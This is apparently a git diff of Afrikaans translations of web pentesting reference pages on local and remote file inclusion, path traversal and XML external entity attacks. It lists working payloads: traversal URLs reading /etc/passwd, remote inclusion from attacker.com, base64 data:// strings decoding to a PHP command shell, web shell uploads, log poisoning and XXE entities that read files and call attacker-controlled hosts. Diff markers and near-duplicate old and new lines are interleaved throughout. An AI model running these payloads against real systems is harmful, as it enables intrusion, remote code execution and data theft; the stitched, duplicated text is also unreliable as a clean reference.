Pad truncasie is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer wys.
Pad afkorting is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer wys.
In PHP kan verskeie voorstellings van 'n lêerpad as gelykwaardig beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad behandel.
- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (wat dit `passwd/` maak) nie die geteikende lêer nie.
- Op soortgelyke wyse, as `.php` aan 'n lêerpad gevoeg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry word, verander nie.
- Op soortgelyke wyse, as `.php` aan 'n lêerpad (soos `shellcode.php`) gevoeg word, sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry word, verander nie.
Die verskafde voorbeelde demonstreer hoe om pad truncasie te gebruik om toegang te verkry tot `/etc/passwd`, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
Die verskafde voorbeelde demonstreer hoe om pad afkorting te gebruik om toegang te verkry tot `/etc/passwd`, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -123,13 +123,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
In hierdie scenario's mag die aantal traversals wat nodig is ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
In hierdie scenario's kan die aantal traversals wat nodig is ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
- **Gebruik van Punt Segmente en Bykomende Karakters**: Traversal sekwensies (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer.
- **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl verseker word dat enige bygevoegde stringe (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
- **Gebruik van Punt Segmente en Addisionele Karakters**: Traversal volgordes (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer.
- **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` volgordes vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl daar verseker word dat enige bygevoegde stringe (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
- **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos `a/`) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad parsingslogika te voldoen.
Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario kan 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
**Hierdie kwesbaarheid is in PHP 5.3 reggestel.**
@ -143,12 +143,12 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
In php is dit standaard deaktiveer omdat **`allow_url_include`** **Af** is. Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
In php is dit standaard gedeaktiveer omdat **`allow_url_include`** is **Af.** Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
As dit om een of ander rede **`allow_url_include`** **Aan** is, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protokol met base64 gebruik om 'n b64 PHP kode te dekodeer en RCE te verkry:
As dit om een of ander rede **`allow_url_include`** **Aan** is, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die dataprotocol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te verkry:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
@ -161,7 +161,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
```
## Python Root element
In python in 'n kode soos hierdie:
In python in a code like this one:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@ -181,7 +181,7 @@ Dit lyk of jy 'n Pad Traversal in Java het en jy **vra vir 'n gids** in plaas va
## Top 25 parameters
Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir plaaslike lêerinvoeging (LFI) kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir plaaslike lêerinvoeging (LFI) kwesbaarhede (van [skakel](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -269,7 +269,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Die deel "php://filter" is nie-sensitief vir hoofletters nie
> Die deel "php://filter" is nie hooflettergevoelig nie
### Gebruik php filters as orakel om arbitrêre lêers te lees
@ -283,9 +283,9 @@ In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek
- Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal 'n php-fout veroorsaak.
- Die kode **convert.iconv.UNICODE.CP930** transformeer elke letter in die volgende een (so na hierdie kode: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n `a` is byvoorbeeld, want as ons 6 van hierdie kode toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php-fout word veroorsaak omdat dit vermenigvuldig met die aanvanklike bom.
- Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodes kan gebruik word om ander letters na die hex-reeks te beweeg).
- Wanneer die aanvanklike karakter 'n getal is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die getal te lek.
- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur orde geheue filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
- En om in staat te wees om **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit **te pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
- Wanneer die aanvanklike karakter 'n nommer is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die nommer te lek.
- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur orde geheue filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
- En ten einde **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit **te pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit om te lek bereik.
In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -389,7 +389,7 @@ Check more possible[ **protocols to include here**](https://www.php.net/manual/e
## LFI via PHP's 'assert'
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat katalogus deurreis karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat katalogus traversie karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
For example, PHP code might be designed to prevent directory traversal like so:
```bash
@ -408,9 +408,9 @@ Dit is belangrik om **URL-encode hierdie payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Hierdie tegniek is relevant in gevalle waar jy **beheer** oor die **lêerpad** van 'n **PHP-funksie** het wat 'n **lêer** sal **toegang** maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie vertoon nie.
> Hierdie tegniek is relevant in gevalle waar jy **beheer** oor die **lêerpad** van 'n **PHP-funksie** het wat 'n **lêer** sal **toegang** maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie gewys nie.
In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP-filter om die **inhoud van 'n lêer via 'n fout-orakel te exfiltreer**.
In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP-filter om **die inhoud van 'n lêer via 'n fout-orakel te exfiltreer**.
In samevatting, die tegniek gebruik die **"UCS-4LE" kodering** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
@ -418,28 +418,28 @@ Dan, om die eerste karakter te lek, word die filter **`dechunk`** gebruik saam m
**Funksies wat kwesbaar mag wees**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (slegs teiken lees net hiermee)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Vir die tegniese besonderhede kyk na die genoemde pos!
Vir die tegniese besonderhede, kyk na die genoemde pos!
## LFI2RCE
### Willekeurige Lêer Skryf via Pad Traversering (Webshell RCE)
Wanneer bediener-kant kode wat lêers opneem/oplê die bestemmingspad bou met gebruikers-beheerde data (bv. 'n lêernaam of URL) sonder om dit te kanoniseer en te valideer, kan `..` segmente en absolute pades die bedoelde gids ontsnap en 'n willekeurige lêer skryf veroorsaak. As jy die payload onder 'n web-blootgestelde gids kan plaas, kry jy gewoonlik nie-geverifieerde RCE deur 'n webshell te laat val.
Wanneer bediener-kant kode wat lêers opneem/oplê die bestemmingspad bou met gebruikers-beheerde data (bv. 'n lêernaam of URL) sonder om dit te kanoniseer en te valideer, kan `..` segmente en absolute pades die bedoelde gids ontsnap en 'n willekeurige lêer skryf. As jy die payload onder 'n web-blootgestelde gids kan plaas, kry jy gewoonlik nie-geverifieerde RCE deur 'n webshell te laat val.
Tipiese uitbuiting werkstroom:
- Identifiseer 'n skryf primitief in 'n eindpunt of agtergrondwerker wat 'n pad/lêernaam aanvaar en inhoud na skyf skryf (bv. boodskap-gedrewe opname, XML/JSON opdrag hanteerders, ZIP ekstrakteerders, ens.).
- Identifiseer 'n skryf primitief in 'n eindpunt of agtergrondwerker wat 'n pad/lêernaam aanvaar en inhoud na skyf skryf (bv. boodskap-gedrewe opname, XML/JSON opdraghanterings, ZIP-uittrekkers, ens.).
- Bepaal web-blootgestelde gidse. Algemene voorbeelde:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → laat val `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → laat val `shell.aspx`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → laat `shell.jsp` val
- IIS: `C:\inetpub\wwwroot\` → laat `shell.aspx` val
- Ontwerp 'n traversering pad wat uit die bedoelde stoor gids breek in die webroot, en sluit jou webshell inhoud in.
- Blaai na die laat val payload en voer opdragte uit.
- Blaai na die gelaat val payload en voer opdragte uit.
Notas:
- Die kwesbare diens wat die skryf uitvoer, mag op 'n nie-HTTP poort luister (bv. 'n JMF XML luisteraar op TCP 4004). Die hoof webportaal (ander poort) sal later jou payload bedien.
- Op Java-stapels word hierdie lêer skrywe dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenasie. Gebrek aan kanonisering/toelaatlys is die kernfout.
- Die kwesbare diens wat die skryf uitvoer, mag op 'n nie-HTTP-poort luister (bv. 'n JMF XML luisteraar op TCP 4004). Die hoof webportaal (ander poort) sal later jou payload bedien.
- Op Java-stapels word hierdie lêer skrywe dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenasie. Gebrek aan kanonisering/toelaat-lis is die kernfout.
Generiese XML/JMF-styl voorbeeld (produk skemas verskil – die DOCTYPE/body omhulsel is irrelevant vir die traversering):
Generiese XML/JMF-styl voorbeeld (produk skemas verskil – die DOCTYPE/body-wrapper is irrelevant vir die traversering):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
@ -463,9 +463,9 @@ in.transferTo(out);
</Command>
</JMF>
```
Harding wat hierdie klas foute oorwin:
Hardening wat hierdie klas foute oorwin:
- Los op na 'n kanonieke pad en handhaaf dat dit 'n afstammeling van 'n toegelate basisgids is.
- Weier enige pad wat `..`, absolute wortels of skyfletters bevat; verkies gegenereerde filenname.
- Verwerp enige pad wat `..`, absolute wortels of skyfletters bevat; verkies gegenereerde filenname.
- Voer die skrywer uit as 'n laag-geprivilegieerde rekening en skei skryfgidse van bediende wortels.
## Afgeleide Lêer Insluiting
@ -512,7 +512,7 @@ Soos 'n loglêer, stuur die payload in die User-Agent, dit sal binne die /proc/s
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Deur op te laai
### Via oplaai
As jy 'n lêer kan oplaai, voeg net die shell payload daarin in (bv: `<?php system($_GET['c']); ?>`).
```
@ -520,9 +520,9 @@ http://example.com/index.php?page=path/to/uploaded/file.png
```
Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf in te spuit.
### Deur Zip lêer op te laai
### Via Zip lêer opgelaai
Laai 'n ZIP-lêer op wat 'n PHP-shel gecomprimeer bevat en toegang:
Laai 'n ZIP-lêer op wat 'n PHP-shell gecomprimeer bevat en toegang:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -559,7 +559,7 @@ Die logs vir die FTP bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In
### Via php base64 filter (using base64)
Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, ignoreer PHP base64 filter eenvoudig nie-base64. Jy kan dit gebruik om die lêer uitbreiding kontrole te omseil: as jy base64 verskaf wat eindig op ".php", sal dit eenvoudig die "." ignoreer en "php" aan die base64 voeg. Hier is 'n voorbeeld payload:
Soos in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel gewys, ignoreer PHP base64 filter eenvoudig nie-base64. Jy kan dit gebruik om die lêer uitbreiding kontrole te omseil: as jy base64 verskaf wat eindig op ".php", sal dit eenvoudig die "." ignoreer en "php" aan die base64 voeg. Hier is 'n voorbeeld payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -591,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
As jy 'n **Plaaslike Lêer Insluiting** gevind het selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die **sessie vir jou aktiveer**. Jy kan dit misbruik om RCE te verkry:
As jy 'n **Plaaslike Lêer Insluiting** gevind het selfs al het jy **nie 'n sessie nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP **die sessie vir jou aktiveer**. Jy kan dit misbruik om RCE te verkry:
{{#ref}}
via-php_session_upload_progress.md
@ -638,7 +638,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Via ewige wag + bruteforce
As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener kan die PHP uitvoering **hang**, kan jy dan **lêernames vir ure brute force** om die tydelike lêer te vind:
As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener die PHP uitvoering kan **hang**, kan jy dan **lêernames vir ure brute force** om die tydelike lêer te vind:
{{#ref}}
lfi2rce-via-eternal-waiting.md
@ -649,7 +649,7 @@ lfi2rce-via-eternal-waiting.md
As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
**Ek weet nie hoe dit nuttig is nie, maar dit mag wees.**\
_Alhoewel jy 'n PHP Fatale Fout veroorsaak, word PHP tydelike lêers wat opgelaai is, verwyder._
_Al maak jy 'n PHP Fatale Fout, word PHP tydelike lêers wat opgelaai is, verwyder._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

70
src/pentesting-web/xxe-xee-xml-external-entity.md
View File

@ -4,12 +4,12 @@
## XML Basiese Beginsels
XML is 'n opmaaktaal wat ontwerp is vir data-opberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende getagde name toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde merke nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
XML is 'n opmaaktaal wat ontwerp is vir data-opberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing vir etikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
- **Data voorstelling deur Entiteite**: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos `&lt;` en `&gt;`, wat ooreenstem met `<` en `>` om konflik met XML se merkstelsel te vermy.
- **Data voorstelling deur Entiteite**: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos `&lt;` en `&gt;`, wat ooreenstem met `<` en `>` om konflik met XML se etikette stelsel te vermy.
- **Definiëring van XML Elemente**: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
- **Dokumenttipe Definisie (DTD)**: DTD's is van kardinale belang in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat lei hoe dokumente geformateer en gevalideer word.
- **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, wek sekuriteitskwessies, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databasisse hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, bring sekuriteitskwessies mee, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databronne hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **XXE Opsporing met Parameter Entiteite**: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk weens parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -65,7 +65,7 @@ In hierdie derde geval let op dat ons die `Element stockCheck` as ANY verklaar.
### Gidslys
In **Java** gebaseerde toepassings mag dit moontlik wees om die **inhoud van 'n gids** via XXE te lys met 'n payload soos (net vra vir die gids in plaas van die lêer):
In **Java** gebaseerde toepassings mag dit moontlik wees om die **inhoud van 'n gids te lys** via XXE met 'n payload soos (net vra vir die gids in plaas van die lêer):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
@ -83,7 +83,7 @@ In **Java** gebaseerde toepassings mag dit moontlik wees om die **inhoud van 'n
```
### Blind SSRF
Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML-entiteite nie toegelaat word**; in daardie geval kan jy probeer om **XML-parameterentiteite** te gebruik:
Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML-entiteite nie toegelaat word** nie; in daardie geval kan jy probeer om **XML-parameterentiteite** te gebruik:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -132,7 +132,7 @@ Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit bin
1. 'n XML parameterentiteit genaamd `file` word gedefinieer, wat die inhoud van die `/etc/passwd` lêer bevat.
2. 'n XML parameterentiteit genaamd `eval` word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML parameterentiteit genaamd `error` inkorporeer. Hierdie `error` entiteit, wanneer geëvalueer, probeer om 'n nie-bestaande lêer te laai, wat die inhoud van die `file` entiteit as sy naam inkorporeer.
3. Die `eval` entiteit word aangeroep, wat lei tot die dinamiese verklaring van die `error` entiteit.
4. Aanspreking van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap genereer wat die inhoud van die `/etc/passwd` lêer as deel van die lêernaam insluit.
4. Aangroeping van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die `/etc/passwd` lêer as deel van die lêernaam insluit.
Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:
```xml
@ -146,13 +146,13 @@ Upon execution, the web server's response should include an error message displa
_**Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die tweede `eval` in te sluit, maar dit is verbode in die interne DTD. Daarom kan jy nie 'n fout afdwing sonder om 'n eksterne DTD te gebruik (gewoonlik).**_
### **Foutgebaseerd (stelsel DTD)**
### **Foutgebaseerd (sisteem DTD)**
So wat van blinde XXE kwesbaarhede wanneer **uit-baan interaksies geblokkeer is** (eksterne verbindings is nie beskikbaar nie)?
'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem maak dit moontlik om die interne herdefinisie van entiteite wat eksterne verklaar is, te fasiliteer, wat die uitvoering van foutgebaseerde XXE-aanvalle moontlik maak. Sulke aanvalle benut die herdefinisie van 'n XML parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem laat die interne herdefinisie van entiteite wat eksterne verklaar is toe, wat die uitvoering van foutgebaseerde XXE-aanvalle fasiliteer. Sulke aanvalle benut die herdefinisie van 'n XML parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, vanuit 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
Oorweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer bevat by `/usr/local/app/schema.dtd`, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd` lêer onthul deur 'n hibriede DTD soos volg in te dien:
Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer bevat by `/usr/local/app/schema.dtd`, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd` lêer onthul deur 'n hibriede DTD soos volg in te dien:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -221,11 +221,11 @@ Testing 0 entities : []
Vir 'n meer diepgaande verduideliking van hierdie aanval, **kyk na die tweede afdeling van** [**hierdie wonderlike pos**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **van Detectify**.
Die vermoë om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser om die data uit die sigblad te onttrek, sal dit onvermydelik nodig wees om ten minste een XML-lêer te parse.
Die vermoë om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser om die data uit die sigblad te onttrek, sal dit onvermydelik ten minste een XML-lêer moet parse.
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer wat 'n XXE-payload bevat, te skep**. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontzip kan word.
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer te skep wat 'n XXE-payload bevat**. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontzip kan word.
Sodra die dokument ontzip is, moet die XML-lêer geleë by `./unzipped/word/document.xml` geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
Sodra die dokument ontzip is, moet die XML-lêer geleë by `./unzipped/word/document.xml` geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die gewenste XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir versoeke te vervang.
@ -235,23 +235,23 @@ Nou kan die geskepte lêer na die potensieel kwesbare webtoepassing opgelaai wor
### Jar: protocol
Die **jar** protokol is eksklusief beskikbaar binne **Java-toepassings**. Dit is ontwerp om lêertoegang binne 'n **PKZIP** argief (bv. `.zip`, `.jar`, ens.) moontlik te maak, wat beide plaaslike en afstandslêers dek.
